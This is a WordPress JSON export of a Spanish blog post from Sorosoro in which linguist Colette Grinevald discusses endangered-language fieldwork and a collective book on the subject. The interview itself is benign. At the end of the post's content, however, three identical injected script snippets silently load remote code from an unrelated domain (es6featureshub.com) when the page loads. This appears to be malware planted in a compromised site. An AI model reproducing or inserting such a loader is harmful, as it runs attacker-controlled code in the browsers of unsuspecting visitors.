{"id":50434,"date":"2011-06-15T01:23:37","date_gmt":"2011-06-14T23:23:37","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=50434"},"modified":"2025-10-21T22:35:22","modified_gmt":"2025-10-21T20:35:22","slug":"junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/","title":{"rendered":"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d"},"content":{"rendered":"<p style=\"text-align: justify;\"><em>Colette Grinevald, miembro del Consejo Cient\u00edfico de Sorosoro y titular de un Doctorado en investigaci\u00f3n en ling\u00fc\u00edstica de Harvard, ha pasado unos treinta a\u00f1os de su carrera de ling\u00fcista en Estados Unidos. Es actualmente investigadora-docente en la Universidad de Lyon 2 y en el laboratorio del CNRS Din\u00e1mica del Lenguaje, y es sobre todo una referencia y una pionera en la disciplina de la descripci\u00f3n de las lenguas en peligro. Es especialista de las lenguas de Am\u00e9rica Latina, y est\u00e1 muy comprometida con la defensa y la promoci\u00f3n de las lenguas en peligro y de los pueblos que las hablan.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Es bajo su direcci\u00f3n y la de Michel Bert que acaba de ser publicada la \u00faltima obra de la serie \u00abHechos de Lenguas \u00ab, intitulado \u00bb Ling\u00fc\u00edstica de terreno sobre lenguas en peligro\u00bb (<\/em>Linguistique de Terrain sur les Langues en Danger<em>), con un prefacio de Claude Hag\u00e8ge.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Colette, la descripci\u00f3n y la documentaci\u00f3n de las lenguas en peligro son una disciplina relativamente reciente en ling\u00fc\u00edstica, qu\u00e9 adquiri\u00f3 sus letras de nobleza tard\u00edamente\u2026<\/strong><\/p>\n<p style=\"text-align: justify;\">La preocupaci\u00f3n de los ling\u00fcistas por el fen\u00f3meno de las lenguas en peligro es en efecto relativamente reciente y se amold\u00f3 en parte de la preocupaci\u00f3n de los bi\u00f3logos por la p\u00e9rdida de la diversidad biol\u00f3gica.<\/p>\n<p style=\"text-align: justify;\">Esta subdisciplina de la ling\u00fc\u00edstica se desarroll\u00f3 hacia finales del siglo XX, principalmente en los Estados Unidos, y se instal\u00f3 a nivel mundial a principios del siglo XXI. Es durante estos \u00faltimos a\u00f1os que se desarroll\u00f3 completamente como disciplina en Francia.<\/p>\n<div id=\"attachment_50116\" style=\"width: 410px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-50116\" class=\"size-full wp-image-50116 \" title=\"Photo03\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG\" alt=\"S\u00e9bastien Bodinga-bwa-Bodinga and linguist Lolke van der Veen during the official handing-over of the Geviya-Fran\u00e7ais dictionary to the Eviya community, Gabon.\" width=\"400\" height=\"300\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG 400w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03-300x225.jpg 300w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><p id=\"caption-attachment-50116\" class=\"wp-caption-text\">S\u00e9bastien Bodinga-bwa-Bodinga y el ling\u00fcista Lolke van der Veen, en el momento de la entrega oficial del diccionario geviya-franc\u00e9s a la comunidad de los Eviya, en Gab\u00f3n<\/p><\/div>\n<p style=\"text-align: justify;\"><strong>\u00bfQu\u00e9 le hizo tomar consciencia de estas cuestiones?<\/strong><\/p>\n<p style=\"text-align: justify;\">De hecho, fue por azar de las cosas, cuando me vi confrontada a esta problem\u00e1tica en el terreno. Habiendo ya trabajado en Guatemala en los a\u00f1os 70 sobre una lengua maya, y desarrollado mi modo de abordar una lengua de tradici\u00f3n oral, en los a\u00f1os 80 fui llamada a trabajar en otra lengua amerindia, en Nicaragua esta vez. Y precisamente se trataba de ayudar a una comunidad ling\u00fc\u00edstica, los Ramas, a salvar su lengua, que ten\u00eda ya muy pocos hablantes. Nuevas leyes que reconoc\u00edan todas las lenguas de la regi\u00f3n acababan de ser aceptadas, y la lengua se hab\u00eda convertido en una verdadera preocupaci\u00f3n para este grupo \u00e9tnico.<\/p>\n<p style=\"text-align: justify;\">As\u00ed es como todo empez\u00f3, y luego, en los a\u00f1os 90, me dediqu\u00e9 mucho al desarrollo de la disciplina junto con un pu\u00f1ado de ling\u00fcistas establecidos en los Estados Unidos.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00bfEs de todo esto que quiso hablar en su libro?<\/strong><\/p>\n<p style=\"text-align: justify;\">Hoy en d\u00eda hay numerosos trabajos sobre la cuesti\u00f3n de las lenguas en peligro, sobre los aspectos tecnol\u00f3gicos y ling\u00fc\u00edsticos de este trabajo, pero ninguno que aborde como nosotros lo hacemos la dimensi\u00f3n humana y metodol\u00f3gica. Quisimos pues reunir testimonios que revelaran lo que implica este trabajo de terreno tras bastidores, para producir una obra colectiva que reuniera a su vez a j\u00f3venes doctorantes y experimentados de fama mundial, algunos con m\u00e1s de 30 o 40 a\u00f1os de experiencia de terreno.<\/p>\n<p style=\"text-align: justify;\">La primera parte presenta la disciplina de las lenguas en peligro tal como acaba de desarrollarse en ling\u00fc\u00edstica. Introduce en especial el tema de la particular relaci\u00f3n de trabajo que se instaura (o no) entre ling\u00fcistas y hablantes de estas lenguas. La segunda parte lleva al lector alrededor del mundo a trav\u00e9s de una gran variedad de cuentos de terreno de Am\u00e9rica, de \u00c1frica, de Asia y de Europa. Esta secci\u00f3n muestra del interior la naturaleza del trabajo in situ, algunas veces con vistas intimistas de la calidad de las relaciones humanas en las cuales se basa todo.<\/p>\n<div id=\"attachment_50117\" style=\"width: 410px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-50117\" class=\"size-full wp-image-50117 \" title=\"Mzee D.\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Mzee-D..jpg\" alt=\"Informant Mzee D. in a Sim\u00e1konde language speaking Mozambican community, Tanzania. Photo Sophie Manus, 2004.\" width=\"400\" height=\"358\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/Mzee-D..jpg 400w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/Mzee-D.-300x268.jpg 300w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><p id=\"caption-attachment-50117\" class=\"wp-caption-text\">El informador Mzee D. en una comunidad de origen mozambique\u00f1a de lengua makonde en Tanzania, foto Sophie Manus, 2004.<\/p><\/div>\n<p style=\"text-align: justify;\"><strong>Si tuviera que quedarse un articulo, o un tema en particular en este libro, \u00bfCu\u00e1l escoger\u00eda y porqu\u00e9?<\/strong><\/p>\n<p style=\"text-align: justify;\">Pienso que el inter\u00e9s de la colecci\u00f3n est\u00e1 ante todo en la gran diversidad de las situaciones ling\u00fc\u00edsticas, de los ling\u00fcistas y de los proyectos de los que habla.<\/p>\n<p style=\"text-align: justify;\">Por ejemplo nos enteramos de la situaci\u00f3n extrema de las lenguas de la costa oeste de los Estados Unidos, en Oreg\u00f3n y en California. Descubrimos all\u00ed gente incre\u00edblemente apegada a su lengua \u00bb de herencia \u00ab, que le pide a los ling\u00fcistas grabar si son los \u00faltimos hablantes. \u00a1Y si ya no es hablada, le pide \u00abdevolv\u00e9rsela\u00bb, regal\u00e1ndoles cursos sobre lo que se puede aprender a trav\u00e9s de la documentaci\u00f3n que existe del siglo pasado!<\/p>\n<p style=\"text-align: justify;\">En contraste est\u00e1n los cap\u00edtulos sobre lenguas a\u00fan vivaces de grupos sudamericanos, entre ellos un grupo n\u00f3mada de Amazonia colombiana, el yuhup, o bien un grupo que quiso encargarse de la documentaci\u00f3n de su propia lengua, el tsafiki de Ecuador.<\/p>\n<p style=\"text-align: justify;\">Creo que los lectores tambi\u00e9n estar\u00e1n fascinados por el descubrimiento de lo que son las lenguas silbadas, entre las cuales muchas ni siquiera estaban catalogadas o eran desconocidas, y que desgraciadamente est\u00e1n hoy en grave peligro, en Grecia, en Turqu\u00eda o en M\u00e9xico por ejemplo.<\/p>\n<p style=\"text-align: justify;\">Y luego, hay un cap\u00edtulo asombroso sobre el franco-provenzal, una lengua regional no reconocida todav\u00eda oficialmente por Francia, pero ahora reconocida por la Regi\u00f3n R\u00f3dano-Alpes, donde se encuentra nuestro laboratorio de investigaci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Se habla de \u00c1frica, de Asia, de Am\u00e9rica etc. en esta obra, pero nos sorprende el hecho que todos los autores son ling\u00fcistas occidentales. \u00bfNo hay pues ling\u00fcistas africanos, asi\u00e1ticos, amerindios etc.?<\/strong><\/p>\n<p style=\"text-align: justify;\">Quien dice lenguas en peligro dice en general poblaciones muy marginadas, hablantes ancianos, ausencia de j\u00f3venes hablantes. En estas circunstancias, hay muy poca gente alfabetizada, y para el resto, el nivel educativo no sobrepasa a menudo los primeros a\u00f1os de primaria. El trabajo consiste entonces en formar al mayor n\u00famero posible de miembros de la comunidad a que participen en la documentaci\u00f3n de la lengua, aprendiendo a transcribir y traducir las grabaciones. Pero de ah\u00ed a que los hablantes se conviertan ellos mismos en ling\u00fcistas, es otra cosa&#8230;<\/p>\n<p style=\"text-align: justify;\">Dicho esto, el libro est\u00e1 verdaderamente orientado hacia los hablantes, para rendirles homenaje, para demostrar c\u00f3mo los que trabajan con los ling\u00fcistas son a menudo \u00bb ling\u00fcistas naturales\u00bb. Hay, entre los contribuidores, un caso de un hablante nativo de una lengua de Senegal que cuenta justamente c\u00f3mo es que oy\u00e9ndonos hablar, en el laboratorio DDL en Lyon, se dio cuenta de que, para su gran tristeza, su propia lengua estaba en grave peligro, lo que pudo verificar luego de una vuelta al terreno para su tesis.<\/p>\n<div id=\"attachment_50458\" style=\"width: 410px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-50458\" class=\"size-full wp-image-50458 \" title=\"angela teaching\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/angela-teaching.jpg\" alt=\" Angela enseignant la langue rama, au Nicargua, photo Colette Grinevald.\" width=\"400\" height=\"300\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/angela-teaching.jpg 400w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/angela-teaching-300x225.jpg 300w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><p id=\"caption-attachment-50458\" class=\"wp-caption-text\">\u00c1ngela ensenando la lengua rama, en Nicaragua, foto Colette Grinevald<\/p><\/div>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Usted se compromete con las poblaciones de las cuales estudia la lengua, mucho m\u00e1s all\u00e1 de un trabajo estrictamente ling\u00fc\u00edstico. \u00bfQu\u00e9 es lo que lleva a tomar esta elecci\u00f3n, cuando otros investigadores est\u00e1n m\u00e1s retra\u00eddos?<\/strong><\/p>\n<p style=\"text-align: justify;\">\u00a1Yo pienso que es mi personalidad! Para m\u00ed la ling\u00fc\u00edstica de terreno ha sido siempre una manera de vivir, una excusa para ir al encuentro de lenguas que me fascinan, para escuchar gente hablar y pensar de manera tan diferente a la m\u00eda. Amo a los seres humanos m\u00e1s que a las m\u00e1quinas, amo a las lenguas, las cuales me parecen magn\u00edficamente complejas y sorprendentes. Luego he escuchado simplemente a la gente con quien he trabajado, los he hecho hablar, y he intentado darles lo que esperaban de mi a cambio de lo que me daban. Me inscribo en un  movimiento cada vez mas difundido entre los ling\u00fcistas que trabajan en las lenguas en peligro que se llama investigaci\u00f3n-acci\u00f3n, un movimiento que responde a las exigencias de las comunidades ling\u00fc\u00edsticas con las que trabajamos.<\/p>\n<div id=\"attachment_50118\" style=\"width: 410px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-50118\" class=\"size-full wp-image-50118  \" title=\"angela informant\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/angela-informant.jpg\" alt=\"Angela teaching Rama, Nicaragua. Photo Colette Grinevald.\" width=\"400\" height=\"224\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/angela-informant.jpg 400w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/angela-informant-300x168.jpg 300w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><p id=\"caption-attachment-50118\" class=\"wp-caption-text\">Colette Grinevald entre los hablantes de Rama en Nicaragua.<\/p><\/div>\n<p style=\"text-align: justify;\"><strong>Y para terminar, \u00bfC\u00f3mo ve usted el futuro de la disciplina?<\/strong><\/p>\n<p style=\"text-align: justify;\">Ahora, la disciplina del LED (Lenguas en Peligro) existe, y comienza a haber tambi\u00e9n una toma de conciencia mundial sobre estos temas.<\/p>\n<p style=\"text-align: justify;\">Lo que hace falta en lo sucesivo, es trabajar de manera m\u00e1s transversal, interdisciplinaria, reuniendo a ling\u00fcistas, a los hablantes de las comunidades, pero tambi\u00e9n a las ONG, a los profesionales de los medios audiovisuales para una documentaci\u00f3n de alta calidad, como lo hace Sorosoro, por ejemplo.<\/p>\n<p style=\"text-align: justify;\">Y luego, para retomar una pregunta anterior, es urgente formar a ling\u00fcistas nacidos  en los pa\u00edses concernidos, e incluso nacidos en las comunidades mismas, tanto como sea posible. Desgraciadamente, todav\u00eda hay mucha discriminaci\u00f3n hacia las poblaciones de lenguas minoritarias. Pero debemos verdaderamente avanzar en direcci\u00f3n de la apropiaci\u00f3n de la documentaci\u00f3n y descripci\u00f3n ling\u00fc\u00edsticas por los miembros de las comunidades.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Faits-de-Langues-description-et-bon-de-commande.pdf\" target=\"_blank\">Para saber m\u00e1s y pedir la orden de pedido<\/a> (en franc\u00e9s)<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.ophrys.fr\/detail.php?idOuvrage=700\" target=\"_blank\">Para pedir el libro por internet<\/a><\/p>\n<p style=\"text-align: justify;\">\n<div id=\"attachment_50482\" style=\"width: 210px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-50482\" class=\"size-full wp-image-50482\" title=\"faitsdelangue\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/faitsdelangue.jpg\" alt=\" \" width=\"200\" height=\"276\" \/><p id=\"caption-attachment-50482\" class=\"wp-caption-text\"> <\/p><\/div>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Colette Grinevald, miembro del Consejo Cient\u00edfico de Sorosoro y titular de un Doctorado en investigaci\u00f3n en ling\u00fc\u00edstica de Harvard, ha pasado unos treinta a\u00f1os de su carrera de ling\u00fcista en Estados Unidos. Es actualmente investigadora-docente en la Universidad de Lyon 2 y en el laboratorio del CNRS Din\u00e1mica del Lenguaje, y es sobre todo una [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-50434","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Colette Grinevald, miembro del Consejo Cient\u00edfico de Sorosoro y titular de un Doctorado en investigaci\u00f3n en ling\u00fc\u00edstica de Harvard, ha pasado unos treinta a\u00f1os de su carrera de ling\u00fcista en Estados Unidos. Es actualmente investigadora-docente en la Universidad de Lyon 2 y en el laboratorio del CNRS Din\u00e1mica del Lenguaje, y es sobre todo una [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-06-14T23:23:37+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:35:22+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d\",\"datePublished\":\"2011-06-14T23:23:37+00:00\",\"dateModified\":\"2025-10-21T20:35:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/\"},\"wordCount\":1607,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG\",\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/\",\"name\":\"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG\",\"datePublished\":\"2011-06-14T23:23:37+00:00\",\"dateModified\":\"2025-10-21T20:35:22+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/","og_locale":"es_ES","og_type":"article","og_title":"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d - Sorosoro","og_description":"Colette Grinevald, miembro del Consejo Cient\u00edfico de Sorosoro y titular de un Doctorado en investigaci\u00f3n en ling\u00fc\u00edstica de Harvard, ha pasado unos treinta a\u00f1os de su carrera de ling\u00fcista en Estados Unidos. Es actualmente investigadora-docente en la Universidad de Lyon 2 y en el laboratorio del CNRS Din\u00e1mica del Lenguaje, y es sobre todo una [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/","og_site_name":"Sorosoro","article_published_time":"2011-06-14T23:23:37+00:00","article_modified_time":"2025-10-21T20:35:22+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"8 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d","datePublished":"2011-06-14T23:23:37+00:00","dateModified":"2025-10-21T20:35:22+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/"},"wordCount":1607,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG","articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/","name":"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d - 